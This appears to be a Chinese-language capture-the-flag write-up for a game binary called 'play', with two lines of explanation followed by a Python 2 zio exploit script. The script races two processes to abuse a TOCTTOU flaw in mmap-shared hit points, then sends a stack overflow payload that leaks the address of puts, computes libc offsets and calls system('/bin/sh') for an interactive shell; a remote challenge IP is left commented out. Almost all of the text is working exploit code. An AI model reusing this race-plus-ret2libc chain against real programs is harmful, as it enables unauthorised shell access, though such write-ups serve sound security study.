因为TOCTTOU,每次两个进程的hero的信息,血量等是同步的mmap,所以造成了游戏出现了必胜策略
最后进入vnln函数,做ROP getshell即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#/usr/env/bin python
#-*- coding: utf-8 -*-
from zio import *
import sys

r_m1 = COLORED(RAW, "green")
w_m1 = COLORED(RAW, "blue")

r_m2 = COLORED(RAW, "yellow")
w_m2 = COLORED(RAW, "red")
target = './play'
#target=('47.104.90.157',30003)

def login(io,Username):
io.read_until('login:')
io.writeline('xingxing')

def attack(io):
io.read_until('>> ')
io.writeline(str(1))
io.read_until('(1:yes/0:no):')
io.writeline(str(1))

def runaway(io):
io.read_until('>> ')
io.writeline(str(2))

def exploit():

io1 = zio(target,timeout=2,print_read=r_m1,print_write=w_m1)
login(io1,'xingxing')
#change methods => overflow attack
io1.read_until('>> ')
io1.writeline(str(3))
io1.read_until('>> ')
io1.writeline(str(1))

#For win
for i in range(5):
attack(io1)
io2 = zio(target,timeout=2,print_read=r_m2,print_write=w_m2)
login(io2,'xingxing')
for i in range(16):
runaway(io2)
for i in range(7):
attack(io1)

for i in range(100):
attack(io1)
temp = io1.readline()
if "win" in temp:
break
for j in range(12):
runaway(io2)
io2.close()

payload = 0x4c*'A'
payload += l32(0x08048670)+l32(0x8048EC7)+l32(0x804B02C)
io1.read_until('s your name:')
io1.writeline(payload)

io1.read_until('welcome\n')
puts_addr = l32(io1.read(4))
print 'puts_addr:'+hex(puts_addr)
libc_base = puts_addr-0x5fca0
system_addr = libc_base+0x3ada0
print 'system_addr:'+hex(system_addr)
binsh_addr = libc_base+0x15ba0b

payload = 0x4c*'A'+l32(system_addr)+l32(0xdeadbeef)+l32(binsh_addr)
print 'binsh_addr:'+hex(binsh_addr)

io1.read_until('s your name:')
#io1.gdb_hint()
io1.writeline(payload)

io1.interact()

if __name__ == "__main__":
exploit()